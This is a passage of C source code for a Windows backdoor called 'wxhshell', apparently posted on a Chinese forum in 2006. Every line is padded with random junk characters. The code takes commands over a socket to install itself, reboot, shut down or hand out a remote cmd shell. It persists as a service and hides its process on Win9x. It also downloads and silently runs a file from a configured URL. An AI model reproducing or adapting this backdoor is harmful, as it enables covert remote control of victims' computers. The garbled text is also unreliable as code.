    switch(cmd[0]) { "$_ypgRrSR  
  _4+1c5Q!  
  // 帮助 <Bwu N,}  
  case '?': { :>=,sLfJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U,N4+F}FR  
    break; \c)XN<HH  
  } _" n4SXhq  
  // 安装 P+xZaf H  
  case 'i': { M6>l%[  
    if(Install()) 6tM{cK%v1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s*;~CH-[  
    else %zGPF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ts ] +W!:  
    break; m(Oup=\%b}  
    } U w)1yzX  
  // 卸载 8cHZBM7'  
  case 'r': { S}<(9@]z  
    if(Uninstall()) 1{*x+GC^/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F]&9Lp} "  
    else ;Zw28!#Rt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |67UN U  
    break; cWi2Sls  
    } +{s^"M2`  
  // 显示 wxhshell 所在路径 "H({kmR  
  case 'p': { oq|K:<l  
    char svExeFile[MAX_PATH]; JO$0Z  
    strcpy(svExeFile,"\n\r"); !vU[V,~  
      strcat(svExeFile,ExeFile); >[#4Pb7_Y  
        send(wsh,svExeFile,strlen(svExeFile),0);  :sf;Fq  
    break; :=/DF  
    } )}EwEM  
  // 重启 ?lTQjw{  
  case 'b': { 90q*V%cS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [wEx jLW  
    if(Boot(REBOOT)) BjShK+Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )_BteLo-  
    else { vO\CPb %/  
    closesocket(wsh); FIuKX"XR  
    ExitThread(0); Gce![<|ph  
    } ow&R~_  
    break; vt1!|2{ h  
    } d"V^^I)yx&  
  // 关机 _|F h^hq  
  case 'd': { u+]zi"k^s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n4ISHxM  
    if(Boot(SHUTDOWN)) m~}nM|m%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }5A?WH_  
    else { yVW)DQ 4?  
    closesocket(wsh); y==x  
    ExitThread(0); >yaRz+  
    } Aoj X)_"z  
    break; 4|~o<t8  
    } (|WqOwmoUt  
  // 获取shell 8.vD]hO  
  case 's': { ^*ZO@GNL  
    CmdShell(wsh); 0_ ;-QAd  
    closesocket(wsh); |{$Vk%cUE  
    ExitThread(0); 8r~4iVwg  
    break; rtPQ:CaA)?  
  } wy7f7zIa  
  // 退出 ?&[`=ZVn  
  case 'x': { rT x]%{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >OQ<wO6  
    CloseIt(wsh); 7{p,<Uz<"U  
    break; ec{pWzAe  
    } G-Y8<mEh  
  // 离开 Baq&>]  
  case 'q': { s01n[jQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x]F:~(P  
    closesocket(wsh); N^O.P  
    WSACleanup(); NL1Ajms`  
    exit(1); ]":PO4M$*  
    break; ,Q^.SHP8  
        } }4$UlTA'  
  } gg<lWeS/3  
  } w'}b 8m(L  
fi1tF/ `  
  // 提示信息 $[H3O(B0*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D&.+Dx^G  
} LnLuWr<;}  
  } o_{-X 1w  
@xmL?wz  
  return; <_h  
} P#iBwmwN+.  
p2\@E} z  
// shell模块句柄 aCQAh[T  
int CmdShell(SOCKET sock) "I u3&mc  
{ V4_ZBeWA  
STARTUPINFO si; E-CZk_K9  
ZeroMemory(&si,sizeof(si)); f`T#=6C4|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |'.\}xt7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )[>{ Ie2  
PROCESS_INFORMATION ProcessInfo; ^`ny]3JA  
char cmdline[]="cmd"; iXI > >9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a:C ly9  
  return 0; G8j$&1`:  
} t}+P|$[  
?3[as<GZ8  
// 自身启动模式 H}`}qu #~V  
int StartFromService(void) jruwdm^  
{ ZPRkk?M}.  
typedef struct L2+~I<|>  
{ }qxw Nmx  
  DWORD ExitStatus; 6VW&An[6r  
  DWORD PebBaseAddress; +hGr2%*0f  
  DWORD AffinityMask; ;~F&b:CyG  
  DWORD BasePriority; kyMWO*>|  
  ULONG UniqueProcessId; \s<L2uRj  
  ULONG InheritedFromUniqueProcessId; T=%,^  
}   PROCESS_BASIC_INFORMATION; eqV;4dhm  
Y$ ZZ0m  
PROCNTQSIP NtQueryInformationProcess; 4~4D1  
bs/Vn'CE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8!sl) R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uS;N&6;:  
M $ CnaH  
  HANDLE             hProcess; F@UbUm2o  
  PROCESS_BASIC_INFORMATION pbi; jhg0H2C8  
#L ffmS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bu$YW'  
  if(NULL == hInst ) return 0; o-c.D=~  
?`8jn$W^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f<?v.5($  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MDAJ p>o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;Lr]w8d  
B^nE^"b  
  if (!NtQueryInformationProcess) return 0; *d b,N'rK  
fgdqp8~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5Sl vCL  
  if(!hProcess) return 0; BS!VAHO"V  
\xR1|M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b*(74>XY  
*> LA30R*v  
  CloseHandle(hProcess); ;LD!eWSK,  
5o2w)<d!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4d-f 6iiFV  
if(hProcess==NULL) return 0; ~lib~Y'-  
it77x3Mm F  
HMODULE hMod; c&X2k\  
char procName[255]; 2!QQypQ  
unsigned long cbNeeded; =# 0f4z  
X;'H@GU0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OXp(rJ*bK  
#q?'<''d,  
  CloseHandle(hProcess); bf@H(gCW=  
B63puX{u#  
if(strstr(procName,"services")) return 1; // 以服务启动 UB^OMB-W.m  
K,j'!VQA4g  
  return 0; // 注册表启动 O3 NI  
} 3127 4O  
;8m)a  
// 主模块 "lLwgh;  
int StartWxhshell(LPSTR lpCmdLine) H< 51dJn~  
{ ^pwT8Bp  
  SOCKET wsl; 2fN2!OT  
BOOL val=TRUE; P8[rp   
  int port=0; QNWGUg4*&  
  struct sockaddr_in door; l]R=I2t  
XCvL`  
  if(wscfg.ws_autoins) Install(); Cg_9V4h.C  
u'`eCrKT*  
port=atoi(lpCmdLine); SFJ"(ey$  
lV".-:u_  
if(port<=0) port=wscfg.ws_port; q]Vxf!0*>  
J~}sQ{ 0  
  WSADATA data; ANWfRtiU#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z>]P_E~`}  
nEHmiG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y~Z7sx0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R`KlG/Tk  
  door.sin_family = AF_INET; ` {/"?s|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qBF6LhR  
  door.sin_port = htons(port); Y#[xX2z9  
 T_)G5a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0uL*-/|  
closesocket(wsl); WA((>Daf]  
return 1; %\^VxM  
} B_mT[)ut  
*[Im].  
  if(listen(wsl,2) == INVALID_SOCKET) { rHiBW!  
closesocket(wsl); F/ o }5H  
return 1; ?[?;%Y  
} ;vG%[f`K  
  Wxhshell(wsl); o3W@)|>  
  WSACleanup(); wU(p_G3  
l=UXikx  
return 0; :lW8f~!  
nD.K*#u  
} CT?4A1[aD  
= IJ}b=:  
// 以NT服务方式启动 r17"i.n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w"{mDL}c  
{ AZ>F+@d  
DWORD   status = 0; S-5O$EnD  
  DWORD   specificError = 0xfffffff; (T!#7  
nT :n>ja  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K2{6{X=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &yRR!1n)H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?U+nR/H:6  
  serviceStatus.dwWin32ExitCode     = 0; DGbEQiX$\  
  serviceStatus.dwServiceSpecificExitCode = 0; _9yW; i-  
  serviceStatus.dwCheckPoint       = 0; 2q4-9vu  
  serviceStatus.dwWaitHint       = 0; >N~orSw%  
ZZM;%i-B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +;T\:'CU  
  if (hServiceStatusHandle==0) return; j-#h^3l1?  
BD- c<K"  
status = GetLastError(); Dy&{PeE!  
  if (status!=NO_ERROR) V3Ep&<=/  
{ /Z~5bb(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LNcoTdv}k  
    serviceStatus.dwCheckPoint       = 0; =%SH2kb  
    serviceStatus.dwWaitHint       = 0; +,]_TxL|C  
    serviceStatus.dwWin32ExitCode     = status; vM?,#:5  
    serviceStatus.dwServiceSpecificExitCode = specificError; <ivq}(%72  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v]\T&w%9  
    return; ioBYxbY`  
  } CHyT'RT  
3tW}a`z9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ivg W[]  
  serviceStatus.dwCheckPoint       = 0; ''($E /  
  serviceStatus.dwWaitHint       = 0; xwu b-yz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yMEI^,0"  
} WC Y5F  
T 9FGuit9  
// 处理NT服务事件,比如:启动、停止 2y IDyo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;o158H$gz;  
{ [>LO'}%  
switch(fdwControl) &r+!rL Kp  
{ *4/KK  
case SERVICE_CONTROL_STOP: cx[[K.  
  serviceStatus.dwWin32ExitCode = 0; i0u`J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RdB,;Um9f  
  serviceStatus.dwCheckPoint   = 0; fI,2l   
  serviceStatus.dwWaitHint     = 0; `(r0+Qx  
  { yU>ucuF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +~EnrrT+W  
  } ;6$W-W _  
  return; Bk] `n'W  
case SERVICE_CONTROL_PAUSE: ^HU>fkSk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CF6qEG6  
  break; :Wihb#TO)  
case SERVICE_CONTROL_CONTINUE: 7^;-[? l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $9h^tP'CV  
  break; Pv|sPIIB7  
case SERVICE_CONTROL_INTERROGATE: ymn@1BA8J  
  break; Yfx?3  
}; liBFx6\"S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wr@q+Whq  
} z SjZTA/Z  
j$<g8Bg=o  
// 标准应用程序主函数 85q!FpuH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '|}H ,I{  
{ XqGa]/;}  
I+QM":2  
// 获取操作系统版本 #r,!-;^'p  
OsIsNt=GetOsVer(); cd`P'GDF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g'Wr+( A_  
Z 5g*'  
  // 从命令行安装 MO? }$j  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fr-Vq =j&  
W6RjQ1  
  // 下载执行文件 9VMk?   
if(wscfg.ws_downexe) { &;R BG$t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9rIv-&7'm  
  WinExec(wscfg.ws_filenam,SW_HIDE); ixL[(*V  
} TEla?N  
^x Z=";eq  
if(!OsIsNt) { Uu|2!}^T  
// 如果时win9x,隐藏进程并且设置为注册表启动 4b+_|kYb  
HideProc(); VR'zm\< D  
StartWxhshell(lpCmdLine); >%5GMx>m  
} lk[u  
else WpOH1[ 8v  
  if(StartFromService()) Xy}>O*  
  // 以服务方式启动 b8 1cq,  
  StartServiceCtrlDispatcher(DispatchTable); (Q.tH  
else sX ]gL  
  // 普通方式启动 K"!U&`T  
  StartWxhshell(lpCmdLine); t qUBl?i  
Zq 'FOzs  
return 0; 0d$LUQ't  
}
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只看该作者 1 发表于: 2006-10-10
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